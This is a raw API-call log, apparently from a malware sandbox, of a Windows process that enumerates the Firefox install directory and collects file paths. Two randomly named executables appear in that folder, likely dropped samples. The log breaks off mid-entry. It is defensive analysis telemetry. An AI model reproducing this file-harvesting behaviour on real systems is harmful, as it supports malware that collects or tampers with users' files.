lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.572] lstrlenW (lpString="dictionaries") returned 12 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0041.572] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0x3b5d58 [0041.572] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0041.572] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.572] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0041.572] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0041.572] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.572] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0041.572] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0041.572] lstrlenW (lpString="en-US.aff") returned 9 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0041.572] lstrcpyW (in: lpString1=0x922028, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0041.572] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 1 [0041.572] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0041.572] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0041.572] lstrlenW (lpString="en-US.dic") returned 9 [0041.572] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0041.572] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0041.572] lstrcpyW (in: lpString1=0x9220b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0041.572] FindNextFileW (in: hFindFile=0x3b5d58, lpFindFileData=0x36eca0 | out: lpFindFileData=0x36eca0) returned 0 [0041.572] FindClose (in: hFindFile=0x3b5d58 | out: hFindFile=0x3b5d58) returned 1 [0041.572] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="firefox.exe") returned 11 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned 50 [0041.573] lstrcpyW (in: lpString1=0x924198, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="freebl3.chk", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="freebl3.chk", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="freebl3.chk") returned 11 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned 50 [0041.573] lstrcpyW (in: lpString1=0x924208, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="freebl3.dll", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="freebl3.dll", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="freebl3.dll") returned 11 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned 50 [0041.573] lstrcpyW (in: lpString1=0x924278, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="gkmedias.dll", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="gkmedias.dll", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="gkmedias.dll") returned 12 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned 51 [0041.573] lstrcpyW (in: lpString1=0x9242e8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="install.log", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="install.log", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="install.log") returned 11 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned 50 [0041.573] lstrcpyW (in: lpString1=0x924358, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\install.log") returned="c:\\Program Files (x86)\\Mozilla Firefox\\install.log" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="later_pet_handjobs.exe", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="later_pet_handjobs.exe") returned 22 [0041.573] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned 61 [0041.573] lstrcpyW (in: lpString1=0x922138, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\later_pet_handjobs.exe" [0041.573] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.573] lstrcmpW (lpString1="libEGL.dll", lpString2=".") returned 1 [0041.573] lstrcmpW (lpString1="libEGL.dll", lpString2="..") returned 1 [0041.573] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.573] lstrlenW (lpString="libEGL.dll") returned 10 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned 49 [0041.574] lstrcpyW (in: lpString1=0x9243c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="libGLESv2.dll", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="libGLESv2.dll", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="libGLESv2.dll") returned 13 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned 52 [0041.574] lstrcpyW (in: lpString1=0x9209c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="maintenanceservice.exe", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="maintenanceservice.exe", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="maintenanceservice.exe") returned 22 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned 61 [0041.574] lstrcpyW (in: lpString1=0x9221c0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="maintenanceservice_installer.exe", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="maintenanceservice_installer.exe") returned 32 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned 71 [0041.574] lstrcpyW (in: lpString1=0x924438, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="mozalloc.dll", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="mozalloc.dll", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="mozalloc.dll") returned 12 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned 51 [0041.574] lstrcpyW (in: lpString1=0x9244d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="mozglue.dll", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="mozglue.dll", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="mozglue.dll") returned 11 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned 50 [0041.574] lstrcpyW (in: lpString1=0x924540, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" [0041.574] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.574] lstrcmpW (lpString1="mozjs.dll", lpString2=".") returned 1 [0041.574] lstrcmpW (lpString1="mozjs.dll", lpString2="..") returned 1 [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.574] lstrlenW (lpString="mozjs.dll") returned 9 [0041.574] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0041.574] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned 48 [0041.575] lstrcpyW (in: lpString1=0x9245c8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="msvcp100.dll", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="msvcp100.dll", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="msvcp100.dll") returned 12 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned 51 [0041.575] lstrcpyW (in: lpString1=0x924638, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="msvcr100.dll", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="msvcr100.dll", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="msvcr100.dll") returned 12 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned 51 [0041.575] lstrcpyW (in: lpString1=0x9246a8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="nss3.dll", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="nss3.dll", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="nss3.dll") returned 8 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned 47 [0041.575] lstrcpyW (in: lpString1=0x9255b0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="nssckbi.dll", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="nssckbi.dll", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="nssckbi.dll") returned 11 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned 50 [0041.575] lstrcpyW (in: lpString1=0x924718, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="nssdbm3.chk", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="nssdbm3.chk", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="nssdbm3.chk") returned 11 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned 50 [0041.575] lstrcpyW (in: lpString1=0x924788, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" [0041.575] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.575] lstrcmpW (lpString1="nssdbm3.dll", lpString2=".") returned 1 [0041.575] lstrcmpW (lpString1="nssdbm3.dll", lpString2="..") returned 1 [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.575] lstrlenW (lpString="nssdbm3.dll") returned 11 [0041.575] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0041.575] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned 50 [0041.576] lstrcpyW (in: lpString1=0x9247f8, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="omni.ja") returned 7 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned 46 [0041.576] lstrcpyW (in: lpString1=0x925618, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="ones_pork_tommy_lb.exe", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="ones_pork_tommy_lb.exe") returned 22 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned 61 [0041.576] lstrcpyW (in: lpString1=0x922248, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\ones_pork_tommy_lb.exe" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="platform.ini", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="platform.ini", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="platform.ini") returned 12 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned 51 [0041.576] lstrcpyW (in: lpString1=0x924868, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" [0041.576] FindNextFileW (in: hFindFile=0x3b5d18, lpFindFileData=0x36ef5c | out: lpFindFileData=0x36ef5c) returned 1 [0041.576] lstrcmpW (lpString1="plugin-container.exe", lpString2=".") returned 1 [0041.576] lstrcmpW (lpString1="plugin-container.exe", lpString2="..") returned 1 [0041.576] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0041.576] lstrlenW (lpString="plugin-container.exe") returned 20 [0041.576] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="plugin-container.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" [0041.576] 